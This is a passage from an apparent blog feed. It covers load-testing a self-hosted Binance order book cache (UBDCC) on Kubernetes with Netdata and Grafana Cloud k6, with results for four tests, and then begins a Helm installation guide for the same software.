</li>
<li><p>Load</p>
</li>
<li><p>Container utilization</p>
</li>
</ul>
<p>For that, Netdata was the fastest path.</p>
<h2>Install Netdata</h2>
<p>Use a separate namespace:</p>
<pre><code class="language-bash">kubectl create namespace netdata
</code></pre>
<p>Add the Helm repo:</p>
<pre><code class="language-bash">helm repo add netdata https://netdata.github.io/helmchart/
helm repo update
</code></pre>
<p>Install Netdata without persistence:</p>
<pre><code class="language-bash">helm install netdata netdata/netdata \
  --namespace netdata \
  --set parent.database.persistence=false \
  --set parent.alarms.persistence=false \
  --set k8sState.persistence.enabled=false
</code></pre>
<p>Persistence is disabled because this setup is only used for live monitoring during the test. No long-term metric storage is required.</p>
<p>Without disabling persistence, the Netdata parent and k8s-state pods may remain pending if the cluster does not have a suitable default StorageClass.</p>
<p>The symptom looks like this:</p>
<pre><code class="language-text">pod has unbound immediate PersistentVolumeClaims
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/1401b79d-5603-429f-86f9-4421b1a65cac.png" alt="" style="display:block;margin:0 auto" />

<p>Check Netdata:</p>
<pre><code class="language-bash">kubectl get pods -n netdata -o wide
kubectl get svc -n netdata
</code></pre>
<p>Expected:</p>
<pre><code class="language-text">6 netdata-child pods
1 netdata-parent pod
1 netdata-k8s-state pod
</code></pre>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/d1bfc690-fd65-49f3-a9cf-9c8ad734a54e.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Open the Netdata UI</h2>
<pre><code class="language-bash">kubectl port-forward -n netdata svc/netdata 19999:19999
</code></pre>
<p>Then open:</p>
<pre><code class="language-text">http://localhost:19999
</code></pre>
<hr />
<h2>Connect the Netdata UI</h2>
<p>If the Netdata UI asks for the <code>netdata_random_session_id</code>, the command must be executed inside the Netdata parent pod, not on your local machine.</p>
<p>First get the parent pod name:</p>
<pre><code class="language-bash">kubectl get pods -n netdata
</code></pre>
<p>Look for the pod named similar to:</p>
<pre><code class="language-text">netdata-parent-5b7fcf845d-qhw8k
</code></pre>
<p>Then read the session ID from the parent pod:</p>
<pre><code class="language-bash">kubectl exec -n netdata -it &lt;NETDATA_PARENT_POD&gt; -- sh -c 'chmod u+r /var/lib/netdata/netdata_random_session_id &amp;&amp; cat /var/lib/netdata/netdata_random_session_id'
</code></pre>
<p>Example:</p>
<pre><code class="language-bash">kubectl exec -n netdata -it netdata-parent-5b7fcf845d-qhw8k -- sh -c 'chmod u+r /var/lib/netdata/netdata_random_session_id &amp;&amp; cat /var/lib/netdata/netdata_random_session_id'
</code></pre>
<p>Do not run this command on your local machine. The file exists inside the Netdata parent pod.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/3481b67a-4a72-4dfd-ab50-f5067ed83b8b.png" alt="" style="display:block;margin:0 auto" />

<p>This step is only needed if the Netdata UI asks you to connect or claim the node. For local live monitoring through port-forwarding, Netdata can also be used without connecting it to Netdata Cloud.</p>
<hr />
<h1>Creating all Binance Spot and Futures DepthCaches</h1>
<p>After the single ETHBTC smoke test worked, I created all active Binance Spot and Futures DepthCaches.</p>
<p>The target was:</p>
<pre><code class="language-text">2013 markets
2 replicas each
4026 replicated DepthCaches
</code></pre>
<p>This was done with helper scripts:</p>
<p><em><strong>ubdcc_create_all_spot_depthcaches.py</strong></em></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/17835e6e4bf732ce67f7bbbb2a282a41">https://gist.github.com/oliver-zehentleitner/17835e6e4bf732ce67f7bbbb2a282a41</a></p>

<p><em><strong>ubdcc_create_all_futures_depthcaches.py</strong></em></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/e0c55876d5c80d06ebf1e36409f94152">https://gist.github.com/oliver-zehentleitner/e0c55876d5c80d06ebf1e36409f94152</a></p>

<p><em><strong>ubdcc_asks_from_all_depthcaches.py</strong></em></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/f06b52294f274b058ea651847d96a910">https://gist.github.com/oliver-zehentleitner/f06b52294f274b058ea651847d96a910</a></p>

<p><em><strong>ubdcc_bids_from_all_depthcaches.py</strong></em></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/ea3cf73df07dbc3fc0f618fae81ff659">https://gist.github.com/oliver-zehentleitner/ea3cf73df07dbc3fc0f618fae81ff659</a></p>

<p><em><strong>ubdcc_test_all_depthcaches.py</strong></em></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/60db3f73eca3fd35a206570511b85ad0">https://gist.github.com/oliver-zehentleitner/60db3f73eca3fd35a206570511b85ad0</a></p>

<p><em><strong>ubdcc_stop_all_depthcaches.py</strong></em></p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/9421166ce95e9a285beaaca238875010">https://gist.github.com/oliver-zehentleitner/9421166ce95e9a285beaaca238875010</a></p>

<p>The first two scripts create all Spot and Futures DepthCaches.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/652194f4-be07-4eda-bcff-f7be6d869858.png" alt="" style="display:block;margin:0 auto" />

<p>Now we have to wait until all DCs, including replicas, are synchronized. It took 25 minutes for me.</p>
<p><a class="embed-card" href="https://youtu.be/lsv-FtrJo50">https://youtu.be/lsv-FtrJo50</a></p>

<p>The cluster successfully synchronized 4026 replicated DepthCaches across Binance Spot and Futures markets.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/9955b50f-034d-451b-bf09-8d5e4850bb8c.png" alt="" style="display:block;margin:0 auto" />

<p>That was already an important result.</p>
<p>The installation itself is fast.</p>
<p>The more interesting question is what happens after the cluster is full.</p>
<hr />
<h1>Load testing with Grafana Cloud k6</h1>
<p>The load generator should not be my laptop.</p>
<p>If I generate load locally, I may end up measuring:</p>
<ul>
<li><p>my laptop</p>
</li>
<li><p>my local network</p>
</li>
<li><p>my ISP</p>
</li>
<li><p>local OS limits</p>
</li>
</ul>
<p>I wanted the load generator to be external and reproducible.</p>
<p>So I used <a href="https://grafana.com/">Grafana Cloud k6</a>.</p>
<hr />
<h1>Test types</h1>
<p>I used four Grafana Cloud k6 tests because one single benchmark number would be misleading.</p>
<p>The tests were executed from the <strong>Frankfurt</strong> load zone because the UBDCC Kubernetes cluster was also running in Frankfurt.</p>
<p>That matters.</p>
<p>The previous test runs from Columbus included unnecessary WAN latency. For the final article results, I wanted the load generator to be geographically close to the cluster so the measurements focus more on the UBDCC REST API and Kubernetes setup itself.</p>
<pre><code class="language-text">Load zone: Frankfurt
UBDCC cluster location: Frankfurt
</code></pre>
<p>I also removed Netdata before running the final k6 tests.</p>
<p>Netdata was very useful during cluster setup and DepthCache synchronization, but monitoring is not free. During the synchronization phase, Netdata used roughly <strong>5–15% CPU per node</strong>. After capturing the useful monitoring screenshots, I removed it again to get cleaner REST API load-test results.</p>
<p>The final k6 tests therefore measure the UBDCC cluster without the additional Netdata monitoring overhead.</p>
<hr />
<h2>Why multiple tests?</h2>
<p>There are two very different load patterns:</p>
<ol>
<li><p><strong>Hot-market load</strong><br />Many requests hit one market, for example <code>ETHBTC</code>.</p>
</li>
<li><p><strong>Distributed-market load</strong><br />Requests are spread across all running Binance Spot and Futures DepthCaches.</p>
</li>
</ol>
<p>That distinction matters.</p>
<p>A single hot market with <code>desired_quantity=2</code> mainly stresses the two replicated DepthCaches for that market and the DCNs hosting those replicas.</p>
<p>A distributed-market test spreads requests across many markets, many DepthCaches, many DCNs and multiple Kubernetes nodes.</p>
<p>So the tests below answer different questions.</p>
<pre><code class="language-text">Hot-market test:
How much load can one heavily requested market handle?

Distributed-market test:
How much load can the cluster handle when requests are spread across many markets?
</code></pre>
<hr />
<h1>Test 1: Smoke test</h1>
<p>The first test is only a reachability and correctness check.</p>
<p>It verifies that Grafana Cloud k6 can reach the public UBDCC REST API and that basic <code>/get_asks</code> and <code>/get_bids</code> requests return valid responses.</p>
<p>This test targets one market, defaults to <code>ETHBTC</code>, and runs at a very small request rate.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/09d10222acffec3959e28f4c52ae80cf">https://gist.github.com/oliver-zehentleitner/09d10222acffec3959e28f4c52ae80cf</a></p>

<h2>What this test checks</h2>
<pre><code class="language-text">Target:     one market
Default:    ETHBTC
Endpoints:  /get_asks and /get_bids
Rate:       10 requests/second
Duration:   1 minute
Purpose:    verify reachability before larger tests
Load zone:  Frankfurt
</code></pre>
<h2>Result</h2>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/87576dd3-b748-48c1-9df7-89dddd43f4ad.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">Requests:        601
HTTP failures:   0
Peak RPS:        10 req/s
Average RPS:     8.59 req/s
p95:             44 ms
Checks:          1.2K / 1.2K
Thresholds:      2 / 2 passed
VUs:             100 max
VUH:             1.67
Result:          Good
</code></pre>
<h2>Interpretation</h2>
<p>The smoke test completed cleanly.</p>
<p>Grafana Cloud k6 reached the public UBDCC REST API from the Frankfurt load zone, sent 601 requests, and received zero HTTP failures.</p>
<p>All checks passed, and the p95 response time was <strong>44 ms</strong>.</p>
<p>That confirms the basic path:</p>
<pre><code class="language-text">Grafana Cloud k6 Frankfurt
→ Vultr LoadBalancer
→ UBDCC REST API
→ ETHBTC DepthCache
</code></pre>
<p>This is not a stress test yet.</p>
<p>It only proves that the external load generator can reach the cluster and that the REST API responds correctly.</p>
<hr />
<h1>Test 2: Distributed dynamic market plateau test</h1>
<p>The second test is the first real distributed cluster test.</p>
<p>Instead of hardcoding one market, the script calls:</p>
<pre><code class="language-text">/get_depthcache_list
</code></pre>
<p>It then builds a list of usable DepthCaches and randomly selects a market for every request.</p>
<p>The test only uses running DepthCaches and filters out non-ASCII market symbols. This avoids measuring invalid market names or URL validation behavior instead of REST API performance.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/dcc7d8b314c7ea81b8ffa8760e67d261">https://gist.github.com/oliver-zehentleitner/dcc7d8b314c7ea81b8ffa8760e67d261</a></p>

<h2>What this test checks</h2>
<pre><code class="language-text">Target:     all running ASCII DepthCaches
Endpoints:  /get_asks and /get_bids
Pattern:    ramp into plateau
Purpose:    validate sustained distributed REST API load
Load zone:  Frankfurt
</code></pre>
<h2>Why this test matters</h2>
<p>This test is much closer to the actual cluster use case.</p>
<p>The load is distributed across many markets, many replicated DepthCaches, many DCNs and multiple Kubernetes nodes.</p>
<p>It answers a different question than the hot-market test:</p>
<pre><code class="language-text">Hot-market test:
How much load can one heavily requested market handle?

Distributed plateau test:
How much sustained load can the cluster handle when requests are spread across many markets?
</code></pre>
<h2>Result</h2>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/60afdeea-5464-4030-b2e5-f267c92d941f.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">Duration:        12 min
Requests:        105,401
HTTP failures:   0
Peak RPS:        370 req/s
Average RPS:     144.38 req/s
p95:             274 ms
Checks:          306.6K / 306.6K
Thresholds:      3 / 3 passed
VUs:             1000 max
VUH:             180
Result:          Finished
Load zone:       Frankfurt
</code></pre>
<h2>Interpretation</h2>
<p>The distributed plateau test completed cleanly.</p>
<p>It sent <strong>105,401 requests</strong> across dynamically selected running DepthCaches and reached <strong>370 peak requests per second</strong>.</p>
<p>There were:</p>
<pre><code class="language-text">0 HTTP failures
0 failed checks
3 / 3 thresholds passed
</code></pre>
<p>The p95 response time was <strong>274 ms</strong>.</p>
<p>This is the strongest stable baseline result from the final test set.</p>
<p>It shows that the low-cost six-node cluster can serve distributed REST API traffic across thousands of replicated DepthCaches without HTTP failures at this load level.</p>
<p>This does not mean every request is always equally fast. Some individual markets showed higher latency, but the aggregate result stayed healthy.</p>
<p>The important point is:</p>
<pre><code class="language-text">Distributed load across many markets behaved much better than hot-market load against one market.
</code></pre>
<hr />
<h1>Test 3: Hot-market ramp test</h1>
<p>The third test intentionally stresses one single market.</p>
<p>This is not a full-cluster test.</p>
<p>It is a hot-path test.</p>
<p>With <code>desired_quantity=2</code>, one market is replicated twice. That means a hot-market test mainly stresses the two DepthCache replicas for that market and the DCNs hosting those replicas.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/82e407955b3c09ca25382069bf5cd5fa">https://gist.github.com/oliver-zehentleitner/82e407955b3c09ca25382069bf5cd5fa</a></p>

<h2>What this test checks</h2>
<pre><code class="language-text">Target:     one market
Default:    ETHBTC
Endpoints:  /get_asks and /get_bids
Pattern:    ramping arrival rate
Stages:     25 → 50 → 100 → 250 → 500 RPS
Purpose:    identify the degradation point of one hot replicated market
Load zone:  Frankfurt
</code></pre>
<h2>Why this matters</h2>
<p>A single hot market behaves differently from distributed market access.</p>
<p>If every request targets the same market, the full cluster is not used evenly. The bottleneck may be the replicated DepthCache path for that market, not the whole Kubernetes cluster.</p>
<p>In this test, that is intentional.</p>
<p>It answers the question:</p>
<pre><code class="language-text">What happens when one market becomes hot?
</code></pre>
<h2>Result</h2>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/8a565232-6838-46ef-a4df-35ac26772f4e.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">Duration:        5 min 30 sec
Requests:        38,903
HTTP failures:   7,939
Failure rate:    19%
Peak RPS:        300 req/s
Average RPS:     114.42 req/s
p95:             5006 ms
Checks:          66.1K / 82K
Check pass rate: ~80.6%
Thresholds:      0 / 2 passed
VUs:             1000 max
VUH:             91.67
Result:          Failed by threshold
Load zone:       Frankfurt
</code></pre>
<p>The failed thresholds were:</p>
<pre><code class="language-text">http_req_failed rate&lt;0.01
measured: 0.19

http_req_duration p(95)&lt;1000
measured: 5006 ms
</code></pre>
<h2>Interpretation</h2>
<p>The hot-market ramp failed by threshold.</p>
<p>That is useful.</p>
<p>At around <strong>300 peak requests per second</strong>, the single-market hot path degraded heavily. The p95 response time reached roughly <strong>5 seconds</strong>, which matches the configured request timeout range.</p>
<p>The important distinction:</p>
<pre><code class="language-text">This was not a full-cluster failure.
This was a hot-path failure for one replicated market.
</code></pre>
<p>With <code>ETHBTC</code> and <code>desired_quantity=2</code>, the test mainly stresses two replicas and the DCNs hosting those replicas.</p>
<p>That explains why the distributed plateau test could reach <strong>370 peak RPS with zero failures</strong>, while this hot-market test reached <strong>300 peak RPS with 19% HTTP failures</strong>.</p>
<p>The hot-market test shows that one heavily requested market can become a bottleneck much earlier than the cluster as a whole.</p>
<hr />
<h1>Test 4: Distributed dynamic fast limit finder</h1>
<p>The fourth and final test was the aggressive one.</p>
<p>It used the distributed dynamic market approach again, but ramped much faster and higher than the plateau test.</p>
<p>The goal was not to prove a stable operating point.</p>
<p>The goal was to find where the low-cost cluster starts to degrade.</p>
<p><a class="embed-card" href="https://gist.github.com/oliver-zehentleitner/01635ac085ddee4b066481f9751f864e">https://gist.github.com/oliver-zehentleitner/01635ac085ddee4b066481f9751f864e</a></p>

<h2>What this test checks</h2>
<pre><code class="language-text">Target:     all running ASCII DepthCaches
Endpoints:  /get_asks and /get_bids
Pattern:    fast ramp
Stages:     300 → 500 → 700 → 900 → 1100 RPS
Purpose:    find the degradation point faster
Load zone:  Frankfurt
</code></pre>
<h2>Why low-cardinality tags matter</h2>
<p>For large distributed tests across thousands of markets, the <code>market</code> tag must not be emitted as a k6 metric tag.</p>
<p>Otherwise, every market creates additional time series.</p>
<p>Even without an explicit <code>market</code> tag, the default <code>url</code> system tag can create high cardinality because each request URL contains a different market symbol.</p>
<p>The low-cardinality version still randomly queries all markets, but aggregates the metrics by endpoint and exchange instead of by individual market.</p>
<p>This avoids hitting Grafana Cloud k6's time-series cardinality limit while still distributing the actual REST requests across all markets.</p>
<h2>Kubernetes node usage during the test</h2>
<p>During this run, the Kubernetes nodes reached heavy CPU pressure.</p>
<p>Example snapshots from <code>kubectl top nodes</code> during the test:</p>
<pre><code class="language-text">NAME                            CPU(cores)   CPU(%)   MEMORY(bytes)   MEMORY(%)
regular-2cpu-2gb-18dea39af28e   1119m        62%      1114Mi          63%
regular-2cpu-2gb-259bd481f6aa   1447m        80%      1018Mi          57%
regular-2cpu-2gb-3e6ac20be264   1142m        63%      1195Mi          67%
regular-2cpu-2gb-4d0409e8f8a6   1153m        64%      1047Mi          59%
regular-2cpu-2gb-868449529f74   1159m        64%      1140Mi          64%
regular-2cpu-2gb-f690b769ee94   1292m        71%      1018Mi          57%
</code></pre>
<p>Later in the same test:</p>
<pre><code class="language-text">NAME                            CPU(cores)   CPU(%)   MEMORY(bytes)   MEMORY(%)
regular-2cpu-2gb-18dea39af28e   1970m        109%     1131Mi          64%
regular-2cpu-2gb-259bd481f6aa   1993m        110%     1030Mi          58%
regular-2cpu-2gb-3e6ac20be264   1998m        111%     1184Mi          67%
regular-2cpu-2gb-4d0409e8f8a6   1941m        107%     1058Mi          60%
regular-2cpu-2gb-868449529f74   1992m        110%     1148Mi          65%
regular-2cpu-2gb-f690b769ee94   1988m        110%     1022Mi          58%
</code></pre>
<p>Memory usage stayed moderate, mostly around <strong>57–67%</strong>.</p>
<p>There were no pod restarts during this test, and the DepthCaches remained available.</p>
<p>That is important.</p>
<p>The failure mode was not memory exhaustion or cluster collapse.</p>
<p>The failure mode was request latency and timeout pressure under heavy CPU load.</p>
<h2>Result</h2>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/89fc62cf-6b4d-414d-bc31-f6af370c0b75.png" alt="" style="display:block;margin:0 auto" />

<pre><code class="language-text">Duration:        5 min 30 sec
Requests:        134,032
HTTP failures:   69,156
Failure rate:    52%
Peak RPS:        547.33 req/s
Average RPS:     387.37 req/s
p95:             5014 ms
Checks:          194.6K / 402.1K
Thresholds:      0 / 3 passed
VUs:             2000 max
VUH:             166.66
Result:          Failed by threshold
Load zone:       Frankfurt
</code></pre>
<p>The failed thresholds were:</p>
<pre><code class="language-text">checks rate&gt;0.95
measured: 0.48

http_req_failed rate&lt;0.05
measured: 0.52

http_req_duration p(95)&lt;5000
measured: 5014 ms
</code></pre>
<h2>Interpretation</h2>
<p>The fast limit finder found the degradation point very clearly.</p>
<p>At <strong>547 peak requests per second</strong>, the cluster was still alive, all DepthCaches remained available, and there were no pod restarts.</p>
<p>But the REST API path was no longer able to answer reliably within the configured 5 second timeout.</p>
<p>This means:</p>
<pre><code class="language-text">The cluster did not crash.
The data infrastructure stayed available.
The REST API load exceeded the practical limit of this low-cost setup.
</code></pre>
<p>The observed behavior is consistent with CPU saturation and request queuing:</p>
<pre><code class="language-text">CPU pressure rises
requests queue
latency increases
5 second timeouts appear
thresholds fail
</code></pre>
<p>The practical interpretation:</p>
<pre><code class="language-text">~370 peak RPS distributed plateau: stable
~547 peak RPS fast limit finder: degraded heavily
</code></pre>
<p>This is exactly what the final test was supposed to reveal.</p>
<hr />
<h1>Test result summary</h1>
<table>
<thead>
<tr>
<th>Test</th>
<th>Purpose</th>
<th>Peak RPS</th>
<th>p95</th>
<th>HTTP failures</th>
<th>Checks</th>
<th>Result</th>
</tr>
</thead>
<tbody><tr>
<td>Smoke test</td>
<td>reachability</td>
<td>10</td>
<td>44 ms</td>
<td>0</td>
<td>1.2K / 1.2K</td>
<td>Passed</td>
</tr>
<tr>
<td>Distributed plateau</td>
<td>sustained distributed load</td>
<td>370</td>
<td>274 ms</td>
<td>0</td>
<td>306.6K / 306.6K</td>
<td>Passed</td>
</tr>
<tr>
<td>Hot-market ramp</td>
<td>one-market hot path</td>
<td>300</td>
<td>5006 ms</td>
<td>7,939</td>
<td>66.1K / 82K</td>
<td>Failed by threshold</td>
</tr>
<tr>
<td>Fast limit finder</td>
<td>degradation point</td>
<td>547.33</td>
<td>5014 ms</td>
<td>69,156</td>
<td>194.6K / 402.1K</td>
<td>Failed by threshold</td>
</tr>
</tbody></table>
<hr />
<h1>Final interpretation</h1>
<p>The most important result is not a single RPS number.</p>
<p>The important result is the difference between the load patterns.</p>
<h2>Distributed load behaved well</h2>
<p>The distributed plateau test reached:</p>
<pre><code class="language-text">370 peak requests per second
274 ms p95
0 HTTP failures
all checks passing
</code></pre>
<p>That is the clean stable result.</p>
<p>It shows that the cluster can serve distributed REST traffic across the synchronized DepthCaches on six cheap Kubernetes nodes.</p>
<h2>Hot-market load behaved very differently</h2>
<p>The hot-market ramp reached:</p>
<pre><code class="language-text">300 peak requests per second
5006 ms p95
19% HTTP failure rate
</code></pre>
<p>That does not mean the whole cluster failed.</p>
<p>It means one replicated market became a hotspot.</p>
<p>That is expected behavior and an important operational distinction.</p>
<h2>The fast limit finder showed the practical boundary</h2>
<p>The fast limit finder pushed the distributed setup much harder.</p>
<p>It reached:</p>
<pre><code class="language-text">547.33 peak requests per second
5014 ms p95
52% HTTP failure rate
</code></pre>
<p>The Kubernetes nodes hit heavy CPU pressure, but memory stayed moderate and there were no pod restarts.</p>
<p>So the practical conclusion for this exact setup is:</p>
<pre><code class="language-text">The stable distributed operating area is below the aggressive limit-finder range.
Around 370 peak RPS was clean.
Above 500 peak RPS, the REST path degraded heavily on these low-cost nodes.
</code></pre>
<p>This should not be read as an upper limit of UBDCC itself.</p>
<p>This was a deliberately low-cost test setup:</p>
<pre><code class="language-text">6 × Vultr Regular Cloud Compute nodes
2 vCPU per node
2024 MB RAM per node
12 vCPU total
~12 GB RAM total
2013 markets
4026 replicated DepthCaches
</code></pre>
<p>A cluster with stronger single-core CPU performance, more REST API capacity, or more tuned resource limits should be able to push the numbers further.</p>
<p>But for the cheapest useful Kubernetes setup I tested, this was the practical result:</p>
<pre><code class="language-text">4026 replicated Binance DepthCaches synchronized successfully in 25 minutes.
Distributed REST reads were stable at hundreds of requests per second.
A single hot market degraded much earlier.
The cluster stayed alive under aggressive load, but the REST path timed out once CPU pressure became too high.
</code></pre>
<hr />
<h1>What I would test next</h1>
<p>The next useful tests would be:</p>
<ul>
<li><p>repeat the distributed plateau test on stronger CPU nodes</p>
</li>
<li><p>compare cheap Vultr nodes with CPU-optimized Vultr nodes</p>
</li>
<li><p>increase REST API replicas and isolate REST API capacity from DCN capacity</p>
</li>
<li><p>add explicit CPU requests and limits</p>
</li>
<li><p>test longer sustained plateaus</p>
</li>
<li><p>test a single hot market with more than 2 replicas</p>
</li>
<li><p>measure p99 and timeout behavior more aggressively</p>
</li>
<li><p>inspect REST API and DCN internals during high load</p>
</li>
<li><p>compare results with and without monitoring enabled</p>
</li>
</ul>
<p>For this article, the key takeaway is already clear:</p>
<blockquote>
<p>UBDCC can turn thousands of Binance order books into shared Kubernetes infrastructure, but load pattern matters. A single hot market and a distributed market workload are very different tests.</p>
</blockquote>
<hr />
<h1>Call to action</h1>
<p>If something in this test setup is unclear, missing, or does not work in your environment, please post it in the comments.</p>
<p>I am especially interested in real-world test results, different Kubernetes providers, different node sizes, higher REST API replica counts, alternative load-test designs, and better ways to visualize UBDCC behavior under load.</p>
<p>If something is useful for others too, I will try to pick it up and improve the article accordingly.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Install UBDCC on Kubernetes with Helm: A Redundant Binance Order Book Cluster in 20 Minutes]]></title><description><![CDATA[This guide shows you how to run your own service that provides the first 1000 bid and ask levels of Binance order book data in real time via REST — without Binance REST weight costs for your internal ]]></description><link>https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes</link><guid isPermaLink="true">https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes</guid><category><![CDATA[Kubernetes]]></category><category><![CDATA[Helm]]></category><category><![CDATA[binance]]></category><category><![CDATA[trading, ]]></category><category><![CDATA[Python]]></category><category><![CDATA[Devops]]></category><category><![CDATA[REST API]]></category><category><![CDATA[marketdata]]></category><category><![CDATA[Cryptocurrency]]></category><category><![CDATA[Open Source]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Thu, 28 May 2026 15:38:24 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e823afdf-b809-4dc8-865e-6ff5bbc67f62.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>This guide shows you how to run your own service that provides the first 1000 bid and ask levels of Binance order book data in real time via REST — without Binance REST weight costs for your internal client requests.</p>
<p>In roughly 20 minutes, you can have your own redundant Binance order book infrastructure running on Kubernetes.</p>
<p>You get:</p>
<ul>
<li><p>live Binance order book data</p>
</li>
<li><p>REST access from any programming language</p>
</li>
<li><p>out-of-the-box failover</p>
</li>
<li><p>high availability</p>
</li>
<li><p>no need for every trading bot to maintain its own fragile local order book</p>
</li>
<li><p>no Binance REST weight costs for your own internal queries against UBDCC</p>
</li>
</ul>
<p>Of course, your own cluster still has limits. CPU, memory, network bandwidth and request volume still matter. But the important difference is this: your bots and applications no longer hammer Binance directly for every order book request. They query your own infrastructure instead.</p>
<p>In my own test setup, a 4-node Kubernetes cluster with 2 CPU cores and 2 GB RAM per node was able to run all active Binance Spot and Futures order books with 2 replicas each — roughly 4000 DepthCaches in total — without problems.</p>
<p>I later repeated this as a larger documented stress test with 2013 markets, 4026 replicated DepthCaches, six low-cost Vultr nodes and Grafana Cloud k6:<br /><a href="https://blog.technopathy.club/i-created-2013-binance-order-books-on-kubernetes-with-2-replicas-in-25-minutes-then-stress-tested-the-rest-api">I Created 2013 Binance Order Books on Kubernetes with 2 Replicas in 25 Minutes — Then Stress-Tested the REST API</a></p>
<p>This article is the practical Kubernetes installation guide. If you want the background first, start with <a href="https://blog.technopathy.club/why-your-binance-order-book-should-not-live-inside-your-bot">why every trading bot should not maintain its own Binance order book</a> and <a href="https://blog.technopathy.club/your-binance-order-book-is-wrong-here-s-why">why a Binance order book can silently become wrong if synchronization, pruning and recovery are handled incorrectly</a>.</p>
<hr />
<h2>Video walkthrough</h2>
<p>If you prefer to watch the full Kubernetes setup before going through the written steps, I recorded a complete video walkthrough.</p>
<p>In the video, I create the Kubernetes cluster, install UBDCC with Helm, open the dashboard, create the first DepthCache with <code>curl</code>, and then create all currently active Binance Spot and Futures DepthCaches with replicas.</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=erxIkwmqlmk">https://www.youtube.com/watch?v=erxIkwmqlmk</a></p>

<hr />
<h2>What we are going to build</h2>
<p>To get a working UBDCC setup, we need three things:</p>
<ol>
<li><p><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#create-a-kubernetes-cluster">A Kubernetes cluster</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#install-kubectl-and-helm"><code>kubectl</code> and <code>helm</code> on your local machine</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/install-ubdcc-on-kubernetes-with-helm-a-redundant-binance-order-book-cluster-in-20-minutes#deploy-ubdcc">Deploy UBDCC</a></p>
</li>
</ol>
<p>Creating the Kubernetes cluster is the only provider-specific part. I will show the process for Vultr, OVHcloud and Google Cloud. Other managed Kubernetes providers work in a very similar way.</p>
<p>If you do not know Kubernetes yet, it can sound scary at first. But for this setup, you do not need to become a Kubernetes expert.</p>
<p>You can think of a managed Kubernetes cluster like renting a group of virtual machines from a cloud provider.</p>
<p>You register, choose something like:</p>
<blockquote>
<p>Give me a Kubernetes cluster with 4 nodes, each with 2 CPU cores and 2 GB RAM.</p>
</blockquote>
<p>Then you wait 5 to 10 minutes until the provider has created the cluster.</p>
<p>While that is happening, you install the command line tool <code>kubectl</code> on your local PC or laptop. This is the tool you use to control your Kubernetes cluster.</p>
<p>Once the cluster is ready, your cloud provider gives you a configuration file. You place that file in your home directory under <code>.kube/config</code>.</p>
<p>That is the connection between your local <code>kubectl</code> and your cloud Kubernetes cluster.</p>
<p>After that, you can test the connection with:</p>
<pre><code class="language-bash">kubectl get nodes
</code></pre>
<p>If you see your nodes, your cluster is ready.</p>
<p>That was the difficult part. :)</p>
<p>From your perspective, the whole Kubernetes cluster now behaves a bit like one big Linux computer. You can install an application, and Kubernetes will automatically distribute the required containers across the available nodes.</p>
<p>To install UBDCC with one command, we use Helm.</p>
<p>Helm is the package manager for Kubernetes.</p>
<p>Once Helm is configured, UBDCC can be installed with a single command. Then you wait a few minutes, and the cluster is ready.</p>
<p>After that, you tell UBDCC which Binance DepthCaches it should create and how many replicas you want for failover.</p>
<p>Once the DepthCaches are created and synchronized, you can query them via REST from any application or programming language.</p>
<p>You can also manage everything via REST:</p>
<ul>
<li><p>create DepthCaches</p>
</li>
<li><p>query existing DepthCaches</p>
</li>
<li><p>stop DepthCaches</p>
</li>
<li><p>get bids and asks</p>
</li>
<li><p>monitor the cluster</p>
</li>
<li><p>build API requests from your own software</p>
</li>
</ul>
<p>The optional UBDCC Dashboard gives you a web interface for monitoring, management and API building. It can generate request examples for Python, JavaScript, Rust, Bash, C# and other languages.</p>
